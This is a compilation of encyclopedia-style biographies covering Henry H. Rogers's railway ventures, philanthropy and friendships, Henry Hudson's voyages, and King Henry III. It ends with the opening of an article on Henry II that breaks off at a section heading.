          The Kanawha and Pocahontas Railroad Company was incorporated in West Virginia in 1898 by either a son of Charles Pratt or the estate of Charles Pratt. Its line ran 15 miles from the Kanawha River up a tributary called Paint Creek. Once again, new coal mining territory was involved. Rogers, acting on behalf of Charles Pratt and Company negotiated its lease to the Chesapeake and Ohio Railway (C&O) in 1901 and its sale to a newly formed C&O subsidiary, Kanawha and Paint Creek Railway Company, in 1902.


          


          Virginian Railway


          His final achievement, working with partner William N. Page, was the building of the Virginian Railway (VGN), which eventually extended 600 miles from the coal fields of southern West Virginia to port near Norfolk at Sewell's Point, Virginia in the harbour of Hampton Roads.


          
            [image: ]
          


          Initially, Rogers' involvement in the project began in 1902 with Page's Deepwater Railway, planned as an 80-mile short line to reach untapped coal reserves in a very rugged portion of southern West Virginia, and interchange its traffic with the C&O and/or the N&W. The Deepwater Railway was probably intended for resale in the manner of the earlier two West Virginia short lines. However, if so, the ploy was foiled by collusion of the bigger railroads, who agreed with each other to neither purchase it or grant favorable interchange rates.


          Page was the "front man" for the Deepwater project, and it is likely the leaders of the big railroads were unaware that their foe was backed by the wealthy Rogers, who did not give up a good fight easily. Instead of abandoning the project, Page and Rogers secretly developed a plan to extend their new railroad all the way across West Virginia and Virginia to port at Hampton Roads. They modified the Deepwater Railway charter to reach the Virginia-state line. A Rogers coal property attorney in Staunton, Virginia formed another intrastate railroad in Virginia, the Tidewater Railway.


          The battle for the Tidewater Railway's rights-of-way displayed Rogers at his most crafty and ingenious. He was able to persuade the leading citizens of Roanoke and Norfolk, both strongholds of the rival Norfolk and Western, that his new railroad would be a boon to both communities, secretly securing crucial rights-of-way in the process. In 1907, the name of the Tidewater Railway was changed to The Virginia Railway Company, and it acquired the Deepwater Railway to form the needed West Virginia-Virginia link.


          Financed almost entirely from Rogers' own resources, and completed in 1909, instead of interchanging, the new Virginian Railway competed with the much larger Chesapeake and Ohio Railway and Norfolk and Western Railway for coal traffic. Built following his policy of investing in the best route and equipment on initial selection and purchase to save operating expenses, the VGN enjoyed a more modern pathway built to the highest standards, and provided major competition to its larger neighboring railroads, each of whom tried several times unsuccessfully to acquire it after they realized it could not be blocked from completion.


          When completed, the Virginian Railway was called by the newspapers "the biggest little railway in the world" and proved both viable and profitable. However, the time and enormous effort Rogers expended on the project continued to undermine his already declining health, not only because of his Herculean work but also because of the uncertain economy of the period. And he was forced to pour many of his own assets into the railroad.


          On July 22, 1907, he suffered a debilitating stroke. Over a period of about five months, he gradually recovered. In 1908, he put the remaining financing in place needed to see his railroad to completion.


          Many historians consider the Virginian Railway to be one of Henry Rogers' greatest legacies. The 600-mile Virginian Railway (VGN) followed his philosophy regarding investing in the best equipment and paying it employees and vendors well throughout its profitable history. It operated some of the largest and most powerful steam, electric, and diesel locomotives throughout its 50-year history. Chronicled by rail historian and rail photographer H. Reid in The Virginian Railway (Kalmbach, 1961), the VGN gained a following of railway enthusiasts which continues to the present day.


          The VGN was merged into the Norfolk & Western in 1959. However, almost all of the former VGN mainline trackage in West Virginia and about 50% of that in Virginia is still in use in 2006 as the preferred route for eastbound coal trains for Norfolk Southern Corporation due to the more favorable gradients while crossing the Allegheny Mountains' continental divide and the Blue Ridge Mountains east of Roanoke, while most westbound traffic of empty coal cars uses the original Norfolk and Western main line.


          


          Business summary: "Hell Hound"


          Rogers was an energetic man, and exhibited ruthlessness, and iron determination. In the financial and business world, world he could be grasping, greedy, operating under a flexible code that often stretched the rules of both honesty and fair play. On Wall Street in New York City, he became known as "Hell Hound Rogers" and "The Brains of the Standard Oil Trust." He was considered one of the last and great " robber barons" of his day, as times were changing. Nevertheless, Rogers amassed a great fortune, estimated at over $100 million. He invested heavily in various industries, including copper, steel, mining, and railways.


          Much of what we know about Rogers and his style in business dealings were recorded by others. His behaviour in public Court Proceedings provide some of the better examples and some insight. Rogers' business style extended to his testimony in many court settings. Before the Hepburn Commission of 1878, investigating the railroads of New York, he fine-tuned his circumlocutory, ambiguous, and haughty responses. His most intractable performance was later in a 1906 lawsuit by the state of Missouri, which claimed that two companies in that state registered as independents were actually subsidiaries of Standard Oil, a secret ownership Rogers finally acknowledged.


          In Marquis Who's Who for 1908, Rogers listed more than twenty corporations of which he was either president and director or vice president and director.


          Henry H. Rogers is in the top 25 wealthiest men in America of all time. According to The Wealthy 100: From Benjamin Franklin to Bill Gates - A Ranking of the Richest Americans, Past and Present published by two business professors in 1996, Rogers is #22, ranking ahead of J.P. Morgan, #23, Bill Gates #31, William Rockefeller #35, Warren Buffett #39, J. Paul Getty #67, and Frank W. Woolworth #82.


          


          A kinder side


          There were two very distinct aspects which characterized Rogers' seemingly dualist personality. Biographers have noted that, while pitiless in business deals, in his personal affairs, there was a much kinder side. In those matters, he was both warm and generous.


          Some of the other most self-made robber baron types of the late 19th century became well-known for becoming philanthropists after ending their business careers. Most notable perhaps of these was Rogers' friend from business interests Andrew Carnegie. However, unlike Carnegie and others, the kinder side of Rogers seems to have also been there throughout his life.


          A modest man, some of his other kindness and generosity became known for the most part only after his death. Examples are found in looking over the lives and writings of Helen Keller, Mark Twain, and Booker T. Washington. However, nowhere was the kinder side more apparent when he was alive than in his hometown of Fairhaven, Massachusetts. Beginning in 1885, seaside Fairhaven received a number of architectural gifts from the Rogers family.


          These included a grammar school, Rogers School, built in 1885. The Millicent Library was completed in 1893 and was a gift to the Town by the Rogers children in memory of their sister Millicent, who had died in 1890 at the age of 17.


          Abbie Palmer (ne Gifford) Rogers presented the new Town Hall in 1894. The George H. Taber Masonic Lodge building, named for Henry's boyhood mentor and former Sunday-school teacher, was completed in 1901. The beautiful gothic Unitarian Memorial Church was dedicated in 1904 to the memory of Henry Rogers' mother, Mary Huttleston (ne Eldredge) Rogers. The Tabitha Inn was built in 1905, and a new Fairhaven High School, affectionately called "Castle on the Hill," was completed in 1906.


          Henry Rogers drained the mill pond to create a park, installed the town's public water and sewer systems, and served as superintendent of streets for his hometown.


          Many years later, Henry H. Rogers' daughter, Cara Leland Rogers Broughton (Lady Fairhaven), purchased the site of Fort Phoenix, and donated it to the Town of Fairhaven in her father's memory.


          


          Family and Children


          Abbie and Henry Rogers had five children, four girls and a boy. Another little son had died at birth. Their oldest daughter, Anne Engle Rogers, was born in 1865 in Pennsylvania.


          The family moved to New York in 1866. Daughter Cara Leland Rogers was born in Fairhaven in 1867, Millicent was born in 1873, followed by Mary (a.k.a. Mai) in 1875. Their son, Henry Huttleston Rogers Jr., was born in 1879, and was known as Harry.
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          1894: A new Town Hall and family tragedy


          The following text about Mrs. Rogers is from the Millicent Library, Fairhaven Massachusetts.


          "Mother of six children, Mrs. Rogers is represented as having been of a quiet and retiring disposition, completely devoid of the ostentation often associated with great wealth. Contemporary photographs attest to a shy and gentle charm of feature, and she is known to have cherished a deep affection for Fairhaven and a nostalgia for the simple ways of her childhood.


          "She was, therefore, delighted to become the donor of Fairhaven's beautiful new 'Town House', and on February 22nd and 23rd, 1894, she attended dedication exercises and received graciously at the splendid Dedication Ball, in the first gala functions marking the opening of the new building.


          "It was not given those attending these happy festivities to know that - but three months later - in May, 1894, this gentle woman was to die in New York City after an operation performed to save her life."


          Abbie Palmer Gifford Rogers died unexpectedly on May 21, 1894. Her childhood home, a two-story, gable-end frame house built in the Greek Revival style has been preserved. It is made available for tours of Fairhaven, where she and her husband grew up and left many other legacies to the town and its inhabitants.


          


          Second wife, death


          In 1896, Henry Rogers was remarried Emelie Augusta Randel Hart, a divorce, and New York socialite, but had no children with his second wife.


          On May 19, 1909, he died suddenly of another stroke, barely 6 weeks before full operations were scheduled to begin on his Virginian Railway, and only two days short of fifteen years after his beloved Abbie, and also in New York City. After a funeral at the First Unitarian Church in Manhattan, his body was transported to Fairhaven by a New Haven Railroad train. There, he was interred beside Abbie in Fairhaven's Riverside Cemetery.


          


          Late life friendships, Kanawha


          After Abbie's death, Rogers developed close friendships with two other famous Americans: Mark Twain and Booker T. Washington, and was instrumental in the education and rise to fame of Helen Keller. Urged on by Twain, Rogers and his second wife financed a college education for the remarkable Ms. Keller.


          In 1899, Rogers had a luxury steam yacht built by a shipyard in the Bronx. The Kanawha, at 471-tons, was about 200 feet long and manned by a crew of 39. For the final ten year of his life, Rogers entertained friends as they sailed on cruises mostly along the East Coast of the United States, north to Maine and Canada, and south the Virginia. With Mark Twain among his frequent guests, the movements of the Kanawha attracted great attention from the newspapers, the dominant public media of the era. Cruises on the Kanawha also provided a private setting for what was later revealed to be a relationship of much greater importance than mere friendship and socialization with Dr. Washington.


          


          Mark Twain
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          In 1893, a mutual friend introduced Rogers to humorist Mark Twain. Rogers reorganized Twain's tangled finances, and the two became close friends for the rest of Rogers' life.


          By the 1890s, Twain's fortunes began to decline; in his later life, Twain was a very depressed man, but still capable. Twain was able to respond "The report of my death is an exaggeration" in the New York Journal, June 2, 1897. He lost 2 out of 3 of his children, and his beloved wife, Olivia Langdon, before his death in 1910.


          Twain also had some very bad times with his businesses. His publishing company ended up going bankrupt, and he lost thousands of dollars on one typesetting machine that was never finished. He also lost a great deal of revenue on royalties from his books being plagiarized before he even had a chance to publish them himself. Things looked pretty grim financially until he met Henry Rogers in 1893.


          Rogers and Twain enjoyed a mutually beneficial friendship which was to last for more than 16 years. Rogers' family became Twain's surrogate family and he was a frequent guest at the Rogers townhouse in New York City. Earl J. Dias described the relationship in these words: "Rogers and Twain were kindred spirits - fond of poker, billiards, the theatre, practical jokes, mild profanity, the good-natured spoof. Their friendship, in short, was based on a community of interests and on the fact that each, in some way, needed the other."


          While Twain openly credited Rogers with saving him from financial ruin; there is also substantial evidence in their published correspondence that the close friendship in their later years was mutually beneficial. Their letters back and forth are so interesting and insightful that they were published in a book, Mark Twain's Correspondence with Henry Huttleston Rogers, 1893-1909.


          In the written exchanges between the two men, there are pleasant examples of Rogers' sense of fun as well as Twain's well-known sense of humor.


          There was a standing joke between them that Twain was inclined to pilfer items from the Rogers household whenever he spent the night there as a guest. Two of the many letters provide an illustration:


          In a letter sent to Mrs. Rogers by Twain, he notes that while packing his things after a visit, he found that he had put in


          
            	"some articles that was laying around .......two books, Mr. Rogers' brown slippers, and a ham. I thought it was one of ourn. It looked like one we used to have, but it shan't occur again, and don't you worry. He will temper the wind to the shorn lamb, and I will send some of the things back if there is some that won't keep. Yores in Jesus, S.L.C."

          


          The reply to Twain was a letter written by Henry Rogers on October 31, 1906. It reads:


          
            	"Before I forget it, let me remind you that I shall want the trunk and the things you took away from my house as soon as possible. I learn that instead of taking old things, you took my best. Mrs. Rogers is at the White Mountains. I am going to Fairhaven this afternoon. I hope you will not be there. By the way, I have been using a pair of your gloves in the Mountains, and they don't seem to be much of an attraction."

          


          In April of 1907, they traveled together in Rogers' steam yacht Kanawha to the Jamestown Exposition held at Sewell's Point near Norfolk, Virginia in celebration of the 300th anniversary of the founding of the Jamestown Colony.


          Although by this late date, both men were in marginal health, Twain returned to Norfolk with Rogers in April 1909, and was the guest speaker at the dedication dinner held for the newly completed Virginian Railway, a "Mountains to Sea" engineering marvel of the day. The construction of the new railroad had been solely financed by industrialist Rogers.


          When Rogers died suddenly in New York City on May 20, 1909 of an apoplectic stroke, the humorist had been on his way by train from Connecticut to visit Rogers. When Twain was met with the news at Grand Central Station the same morning by his daughter, his grief-stricken reaction was widely reported. Although he served as one of the honored pallbearers at the Rogers funeral in New York later that week, he declined to ride the funeral train from New York on to Fairhaven for the internment. Albert Bigelow Paine, in his book Mark Twain: A Biography wrote that Twain "could not undertake to travel that distance among those whom he knew so well, and with whom he must of necessity join in conversation."


          Twain himself died less than one year later. He wrote in 1909, "I came in with Halley's Comet in 1835. It is coming again next year, and I expect to go out with it." And so he did.


          


          Helen Keller's Education


          Helen Keller was a remarkable woman who, although deaf, and blind, made a name for herself as writer and humanitarian. She became another of Rogers' closest friends. In May 1896, at the home in New York City of editor-essayist Laurence Hutton, Rogers and Mark Twain first saw Ms. Keller, who was then sixteen years old. She had profited under the tutelage of her gifted teacher-companion, Anne Sullivan, and when she was twenty, passed with distinction the entrance examination to Radcliffe College.


          In a letter to Mrs. Emile Rogers, Twain praised "this marvelous child" and hoped that Helen would not be forced to retire from her studies because of poverty. He urged Mrs. Rogers to speak to Rogers himself, to remind him of their first sight of Ms. Keller at Hutton's home and to speak also "to the other Standard Oil chiefs" to see what could be done for the meritorious Miss Keller.


          Rogers was generously responsive. He and his wife helped make possible a college education for Helen Keller at Radcliffe. They even provided her, for many years after, with a monthly stipend.


          That she was grateful is obvious in the dedication of her book, The World I Live In, which reads, "To Henry H. Rogers, my Dear Friend of Many Years." On the fly leaf of Rogers' own copy of the book, she wrote, To Mrs Rogers The best of the world I live in is the kindness of friends like you and Mr Rogers


          


          Booker T. Washington


          Another friend was Booker T. Washington. Around 1894, Rogers attended one of the famous educator's speeches at Madison Square Garden in New York City. The next day, Rogers contacted Washington, and invited him to come to 26 Broadway in his Standard Oil office to meet with him. Washington later wrote that Rogers said that he had been surprised that no one had "passed the hat" after the speech the previous night. With the common ground of their relatively humble beginnings and early life, the seeds of a friendship between the two famous men had been sown.


          Washington became a frequent visitor to Rogers' office, to Rogers' 85-room mansion in Fairhaven, Massachusetts, and was an honored guest aboard Rogers' yacht, the Kanawha. Their friendship extended over a period of 15 years.
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          Although Rogers had died suddenly a few weeks earlier, in June 1909, Dr. Washington went on a previously arranged speaking tour along the newly completed Virginian Railway. He rode in Rogers' personal rail car, "Dixie", making speeches at many locations over a 7-day period.


          Dr. Washington told his audiences that his recently departed friend had urged him to make the trip and see what could be done to improve relations between the races and economic conditions for African Americans along the route of the new railway, which touched many previously isolated communities in the southern portions of Virginia and West Virginia, including passing close by the community where Washington had been born over 50 years earlier.


          Some of the places where Dr. Washington spoke on the tour were (in order of the tour stops), Newport News, Norfolk, Suffolk, Lawrenceville, Kenbridge, Victoria, Charlotte Courthouse, Roanoke, Salem, and Christiansburg in Virginia, and Princeton, Mullens, Page and Deepwater in West Virginia. One of his trip companions recorded that they had received a strong and favorable welcome from both white and African American citizens all along the tour route of the new railroad.


          It was only after Rogers' death that Dr. Washington felt compelled to revealing publicly some of the extent of Rogers' contributions. These, he said, were at that very time "funding the operation of at least 65 small country schools for the education and betterment of African Americans in Virginia and other portions of the South, all unknown to the recipients." Also, known only to a few trustees at Dr. Washington's insistence, Rogers had also generously provided support to institutions of higher education, including Tuskegee Institute and Hampton Institute.


          Dr. Washington later wrote that Rogers had encouraged projects with at least partial matching funds, as that way, two ends were accomplished:


          
            	The gifts would help fund even greater work.


            	Recipients would have a stake in knowing that they were helping themselves through their own hard work and sacrifice.

          


          Rogers' example of both concern for Negro education and the concept of matching funds may well have influenced Julius Rosenwald, another self-made man from a modest background who also befriended Booker T. Washington, and beginning in 1911, contributed many millions to build thousands of Rosenwald Schools in many states, in a sense, continuing the work Rogers and Washington began long after both were dead.


          


          Legacy


          In Fairhaven, the Rogers family gifts are located throughout the town. These include Rogers School, Town Hall, Millicent Library, Unitarian Memorial Church and Fairhaven High School. A granite shaft on the High School lawn is dedicated to Rogers. In Riverside Cemetery, the Henry Huttleston Rogers Mausoleum is patterned after the Temple of Minerva in Athens, Greece. Henry, his first wife Abbie, and several family members are interred there.
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          In 1916, Newport News Shipbuilding and Dry Dock Company launched the SS H.H. Rogers, a Pratt-class tanker of 8,807 tons with a capacity of 119,390 barrels of oil. It was operated by Panama Transport Co., a subsidiary of Standard Oil of New Jersey. During World War II, on February 21, 1943, it was torpedoed and sunk by a German U-boat in the North Atlantic Ocean 600 miles off the coast of Ireland while en route from Liverpool, England to the United States. All 73 persons aboard were saved.


          In Virginia and West Virginia, former employees, area residents, and enthusiasts of the Virginian Railway consider the entire railroad to have been a memorial to him. Almost 50 years after it was merged into a competitor, Mr. Rogers' railroad still has a remarkable following and retirees meet weekly and answer questions via the Internet, one of the most active Yahoo! railway enthusiasts groups, with over 800 members. One passenger station has been restored in Suffolk, Virginia, a replica built and museum established in Princeton, and work is underway on a larger former VGN station in Roanoke.


          In 2004, Rogers' initials (and those of VGN co-founder William Nelson Page) were engraved by hand by volunteers into new rail laid in Victoria, Virginia. Above it sits one of the finest extant VGN Class 10-A cabooses, built by the company's own employees in the VGN's Princeton Shops, and carefully restored over a period of many years by members of the National Railway Historical Society (NRHS) chapter in Roanoke. Full-equipped, it offers visitors to the former division point railroad town an interpretive display of the business conducted in a caboose along the historic right-of-way, and is a favorite of school groups.


          


          Commentaries


          Earl J. Dias has written one of the better commentaries published about Henry Huttleston Rogers:


          
            	
              
                	"What is the final verdict on Rogers?

              

            

          


          
            	
              
                	"First of all, he was a child of his times - an era that historian Howard Mumford Jones has dubbed 'the Age of Energy'. It was a time during which Americans of vast wealth, the Rockefellers, the Goulds, the Pratts, the Harrimans, the Archbolds, exploited and experimented with ideas, styles, fads, and each other. And, surprisingly, they also made invaluable contributions to libraries, schools, universities, charities, and the like. In fact, these rip roaring capitalists were striking examples of the gleeful swashbuckling, the innocence and guilt of what Mark Twain and Charles Dudley Warner called 'The Gilded Age.'

              

            

          


          
            	
              
                	"Perhaps the central truth about Rogers was that he was a role player, a born actor. From his experiences on the Phoenix Hall stage in Fairhaven in his youth, he learned the art of being theatrical in the dramatic situations that cropped up in his life.

              

            

          


          
            	
              
                	"In the business world he was the 'man of steel': hard, shrewd, ruthless, giving no quarter.

              

            

          


          
            	
              
                	"In his social life, he was amicable, popular, charismatic, a boon companion, a genial host."

              

            

          


          Although he had a hand in developing many natural resources, in the final analysis, perhaps the greatest American resource Henry Rogers valued and sought to develop to its potential was the human one.
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          Henry Hudson (1570?  1611) was an English sea explorer and navigator in the early 17th century.


          


          Biography


          His place of birth was London, England. He is presumed to have died in 1611 in Hudson Bay, Canada, after he was set adrift, along with his son and seven others, by his crewmen following a mutiny.


          Hudson's early life is an unknown, but he is thought to have spent many years at sea. He is said to have begun as a cabin boy at 16 and gradually worked his way up to ship's captain.


          [bookmark: 1607_and_1608]


          1607 and 1608


          In 1607, the Muscovy Company of England hired Hudson to find the Northeast Passage to China. Hudson traveled just 577nautical miles (1,069km) south of the North Pole and is claimed by Thomas Edge (who was often inaccurate) to have discovered what is now known as Jan Mayen Island- although there is no cartographical or written proof of this discovery- before turning around and returning home in September. Jan Mayen Island later became part of the Kingdom of Norway. It was thought at the time that because the sun shone for three months in the north latitudes the ice would melt and a ship could travel across the top of the world to the Spice Islands. The English were battling the Dutch and Spanish for routes. He landed in Svalbard and, later, whaling and coal economies sprang up there. In 1608, Hudson made a second attempt, trying to go across the top of Russia. He made it to Novaya Zemlya but was forced to turn back.


          [bookmark: 1609]


          1609


          In 1609, Hudson was chosen by the Dutch East India Company to find an easterly passage to Asia. He was told to sail around the Arctic Ocean north of Russia, into the Pacific and to the Far East. Hudson could not continue his voyage due to the ice that had plagued his previous voyages, and many others before him. Having heard rumors by way of Jamestown and John Smith, he and his crew decided to try to seek out a Southwest Passage through North America.


          After crossing the Atlantic Ocean, his ship, the Halve Maen (Half Moon), sailed around briefly in the Chesapeake and Delaware Bays, but Hudson concluded that these waterways did not lead to the Pacific. Hudson then moved into New York Harbour and proceeded up what is today the Hudson River. He made it as far as Albany, New York, where the river narrows, before he was forced to turn around, realizing that it was not the Southwest Passage. In fact, no Southwest Passage to the Pacific existed until one was created by the construction of the Panama Canal between 1903 and 1914. The Native Americans who relayed the information to John Smith were likely referring to what we today call the Great Lakes.


          Along the way, Hudson traded with numerous native tribes and obtained different shells, beads and furs. His voyage established Dutch claims to the region and the fur trade that prospered there. New Amsterdam in Manhattan became the capital of New Netherland in 1625.


          [bookmark: 1610-1611]


          1610-1611


          In 1610, Hudson managed to get the backing for yet another voyage, now under the English flag. The funding came from the Virginia Company and the British East India Company. At the helm of his new ship, the Discovery, he stayed to the north (some claim he deliberately went too far south with the Dutch), reaching Iceland on May 11, the south of Greenland on June 4, and then managing to turn around the southern tip of Greenland. [image: ]


          Excitement was high due to the expectation that the ship had finally found the Northwest Passage through the continent. On June 25, the explorers reached the Hudson Strait at the northern tip of Labrador. Following the southern coast of the strait on August 2, the ship entered Hudson Bay. Hudson spent the following months mapping and exploring the eastern shores. In November, however, the ship became trapped in the ice in James Bay, and the crew moved ashore for the winter.
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          When the ice cleared in the spring of 1611, Hudson planned to continue exploring. However, his crew wanted to return home. Matters came to a head and the crew mutinied in June 1611. They set Hudson, his teenage son John, and seven crewmen loyal to Hudson adrift in a small open boat. The castaways were provided with no food, water or weapons and were clearly meant to die. Hudson was never seen again, although some claim that he successfully made his way as far south as the Ottawa River. Only eight of the mutinous crewmen survived to return to Europe, and although arrested, none were ever punished for the mutiny and Hudson's death. One theory holds that they were considered valuable as sources of information, having traveled to the New World.
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              	Henry III
            


            
              	By the Grace of God, King of England,

              Lord of Ireland and Duke of Aquitaine
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              	Reign

              	18-19 October 1216 - 16 November 1272
            


            
              	Coronation

              	28 October 1216, Gloucester
            


            
              	Born

              	October 1, 1207
            


            
              	Birthplace

              	Winchester Castle
            


            
              	Died

              	16 November 1272 (age 65)
            


            
              	Place of death

              	Westminster
            


            
              	Buried

              	Westminster Abbey
            


            
              	Predecessor

              	John
            


            
              	Successor

              	Edward I
            


            
              	Consort

              	Eleanor of Provence (c. 1223- 1291)
            


            
              	Issue

              	Edward I ( 1239- 1307)

              Margaret of England ( 1240- 1275)

              Beatrice of England ( 1242- 1275)

              Edmund Crouchback ( 1245- 1296)
            


            
              	Royal House

              	Plantagenet
            


            
              	Father

              	John ( 1167- 1216)
            


            
              	Mother

              	Isabella of Angouleme

              (c. 1187- 1246)
            

          


          Henry III ( 1 October 1207  16 November 1272) was the son and successor of John Lackland as King of England, reigning for fifty six years from 1216 to his death. Medieval English monarchs did not use numbers after their names, and his contemporaries knew him as Henry of Winchester. He was the first child king in England since the Norman Conquest. Despite his long reign, his personal accomplishments were slim and he was a political and military failure. England, however, prospered during his century and his greatest monument is Westminster, which he made the seat of his government and where he expanded the abbey as a shrine to Edward the Confessor.


          He assumed the crown under the regency of the popular William Marshal, but the England he inherited had undergone several drastic changes in the reign of his father. He spent much of his reign fighting the barons over the Magna Carta and the royal rights, and was eventually forced to call the first " parliament" in 1264. He was also unsuccessful on the Continent, where he endeavoured to re-establish English control over Normandy, Anjou, and Aquitaine.


          


          Succession


          Henry III was born in 1207 at Winchester Castle. He was the son of King John and Isabella of Angoulme.


          After his father Johns death in 1216, Henry, who was nine at the time, was hastily crowned in Gloucester Cathedral; he was the first child monarch since the Norman invasion of England in 1066. Under John's rule, the barons were supporting an invasion by Prince Louis of France because they disliked the way that John had ruled the country. However, they quickly saw that the young prince was a safer option. Henry's regents immediately declared their intention to rule by Magna Carta, which they proceeded to do during Henrys minority. Magna Carta was reissued in 1217 as a sign of goodwill to the barons and the country was ruled by regents until 1227.


          


          Attitudes and beliefs during his reign


          As Henry reached maturity he was keen to restore royal authority, looking towards the autocratic model of the French monarchy. Henry married Eleanor of Provence and he promoted many of his French relatives higher positions of power and wealth. For instance, one Poitevin, Peter des Riveaux, held the offices of Treasurer of the Household, Keeper of the King's Wardrobe, Lord Privy Seal, and the sheriffdoms of twenty-one English counties simultaneously. Henry's tendency to govern for long periods with no publicly-appointed ministers who could be held accountable for their actions and decisions did not make matters any easier. Many English barons came to see his method of governing as foreign.


          Henry was much taken with the cult of the Anglo-Saxon saint king Edward the Confessor who had been canonised in 1161. Told that St Edward dressed austerely, Henry took to doing the same and wearing only the simplest of robes. He had a mural of the saint painted in his bedchamber for inspiration before and after sleep and even named his eldest son Edward. Henry designated Westminster, where St Edward had founded the abbey, as the fixed seat of power in England and Westminster Hall duly became the greatest ceremonial space of the kingdom, where the council of nobles also met. Henry appointed French architects from Rheims to the renovation of Westminster Abbey in Gothic style. Work began, at great expense, in 1245. The centrepiece of Henry's renovated Westminster Abbey was to be a shrine to the confessor king, Edward. Henry's shrine to Edward the Confessor was finished in 1269 and the saint's relics were installed.


          
            
              	English Royalty
            


            
              	House of Plantagenet
            


            
              	[image: ]

              Armorial of Plantagenet
            


            
              	Henry III
            


            
              	Edward I Longshanks
            


            
              	 Margaret, Queen of Scots
            


            
              	 Beatrice, Duchess of Brittany
            


            
              	 Edmund, Earl of Lancaster
            

          


          Henry was extremely pious and his journeys were often delayed by his insistence on hearing Mass several times a day. He took so long to arrive on a visit to the French court that his brother-in-law, King Louis IX of France, banned priests from Henry's route. On one occasion, as related by Roger of Wendover, when King Henry met with papal prelates, he said, "If (the prelates) knew how much I, in my reverence of God, am afraid of them and how unwilling I am to offend them, they would trample on me as on an old and worn-out shoe."


          


          Criticisms


          Henry's advancement of foreign favourites, notably his wife's Savoyard uncles and his own Lusignan half-siblings, was unpopular with his subjects and barons. He was also extravagant and avaricious; when his first child, Prince Edward, was born, Henry demanded that Londoners bring him rich gifts to celebrate. He even sent back gifts that did not please him. Matthew Paris reports that some said, "God gave us this child, but the king sells him to us."
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          Wars and rebellions


          Henry's reign came to be marked by civil strife as the English barons, led by de Montfort, demanded more say in the running of the kingdom. French-born Simon de Montfort had originally been one of the foreign upstarts so loathed by many as Henry's foreign councillors; after he married Henrys sister Eleanor, without consulting Henry, a feud developed between the two. Their relationship reached a crisis in the 1250s when de Montfort was brought up on spurious charges for actions he took as lieutenant of Gascony, the last remaining Plantagenet land across the English Channel. He was acquitted by the Peers of the realm, much to the King's displeasure.


          Henry also became embroiled in funding a war in Sicily on behalf of the Pope in return for a title for his second son Edmund, a state of affairs that made many barons fearful that Henry was following in the footsteps of his father, King John, and needed to be kept in check, too. De Montfort became leader of those who wanted to reassert Magna Carta and force the king to surrender more power to the baronial council. In 1258, seven leading barons forced Henry to agree to the Provisions of Oxford, which effectively abolished the absolutist Anglo-Norman monarchy, giving power to a council of fifteen barons to deal with the business of government and providing for a three-yearly meeting of parliament to monitor their performance. Henry was forced to take part in the swearing of a collective oath to the Provisions of Oxford.


          In the following years, those supporting de Montfort and those supporting the king grew more and more polarised. Henry obtained a papal bull in 1262 exempting him from his oath and both sides began to raise armies. The Royalists were led by Prince Edward, Henry's eldest son. Civil war, known as the Second Barons' War, followed.


          The charismatic de Montfort and his forces had captured most of southeastern England by 1263, and at the Battle of Lewes on 14 May 1264, Henry was defeated and taken prisoner by de Montfort's army. While Henry was reduced to being a figurehead king, de Montfort broadened representation to include each county of England and many important townsthat is, to groups beyond the nobility. Henry and Edward continued under house arrest. The short period that followed was the closest England was to come to complete abolition of the monarchy until the Commonwealth period of 16491660 and many of the barons who had initially supported de Montfort began to suspect that he had gone too far with his reforming zeal.
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          But only fifteen months later Prince Edward had escaped captivity (having been freed by his cousin Roger Mortimer) to lead the royalists into battle again and he turned the tables on de Montfort at the Battle of Evesham in 1265. Following this victory savage retribution was exacted on the rebels.


          


          Death


          Henry's reign ended when he died in 1272, after which he was succeeded by his son, Edward I. His body was laid, temporarily, in the tomb of Edward the Confessor while his own sarcophagus was constructed in Westminster Abbey.


          


          Appearance


          According to Nicholas Trevet, Henry was a thickset man of medium height with a narrow forehead and a drooping left eyelid (inherited by his son, Edward I).


          


          Marriage and children


          Married on 14 January 1236, Canterbury Cathedral, Canterbury, Kent, to Eleanor of Provence, with at least five children born:


          
            	Edward I (12391307)


            	Margaret (12401275), married King Alexander III of Scotland


            	Beatrice of England(12421275), married to John II, Duke of Brittany


            	Edmund Crouchback (12451296)


            	Katharine (12531257)

          


          There is reason to doubt the existence of several attributed children of Henry and Eleanor. Richard, John, and Henry are known only from a 14th century addition made to a manuscript of Flores historiarum, and are nowhere contemporaneously recorded. William is an error for the nephew of Henry's half-brother, William de Valence. Another daughter, Matilda, is found only in the Hayles abbey chronicle, alongside such other fictitious children as a son named William for King John, and a bastard son named John for King Edward I. Matilda's existence is doubtful, at best. For further details, see Margaret Howell, The Children of King Henry III and Eleanor of Provence (1992).


          


          Trivia


          
            	In The Divine Comedy Dante sees Henry ("the king of simple life") sitting outside the gates of Purgatory with other contemporary European rulers.


            	His Royal Motto was qui non dat quod habet non accipit ille quod optat, He who does not give what he has, does not receive what he wants...


            	His favorite wine was made with the Loire Valley red wine grape Pineau d'Aunis which Henry first introduced to England in the thirteenth century.


            	His favourite oath was "By the face of Lucca", referring to the Volto Santo di Lucca.
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              	Henry II
            


            
              	King of the English; Lord of Ireland (more...)
            


            
              	[image: ]
            


            
              	Reign

              	25 October 1154  6 July 1189
            


            
              	Coronation

              	19 December 1154
            


            
              	Predecessor

              	Stephen
            


            
              	Successor

              	Richard I
            


            
              	Consort

              	Eleanor of Aquitaine
            


            
              	Offspring
            


            
              	William, Count of Poitiers

              Henry the Young King

              Richard I

              Geoffrey, Duke of Brittany

              Matilda, Duchess of Saxony

              Leonora, Queen of Castile

              Joan, Queen of Sicily

              John
            


            
              	
                
                  Detail
                
Titles and styles
              
            


            
              	The King

              The Duke of Normandy

              Henry Plantagenet
            


            
              	Royal house

              	House of Plantagenet
            


            
              	Father

              	Geoffrey of Anjou
            


            
              	Mother

              	Empress Matilda
            


            
              	Born

              	5 March 1133(1133-03-05)

              Le Mans, France
            


            
              	Died

              	6 July 1189 (aged56)

              Chinon, France
            


            
              	Burial

              	Fontevraud Abbey, France
            

          


          Henry II of England (called "Curtmantle"; 5 March 1133  6 July 1189) ruled as King of England (11541189), Count of Anjou, Duke of Normandy, Duke of Aquitaine, Duke of Gascony, Count of Nantes, Lord of Ireland and, at various times, controlled parts of Wales, Scotland and western France. Henry was the first of the House of Plantagenet to rule England.


          


          Biography


          


          Early life


          Henry II was born in Le Mans, France, on 5 March 1133, the first day of the traditional year. His father, Geoffrey V of Anjou (Geoffrey Plantagenet), was Count of Anjou and Count of Maine. His mother, Empress Matilda, was a claimant to the English throne as the daughter of Henry I (11001135). He spent his childhood in his father's land of Anjou. At the age of nine, Robert, 1st Earl of Gloucester took him to England where he received education from Master Matthew at Bristol. He travelled again to Pen Island at the age of 16.


          


          Marriage and children


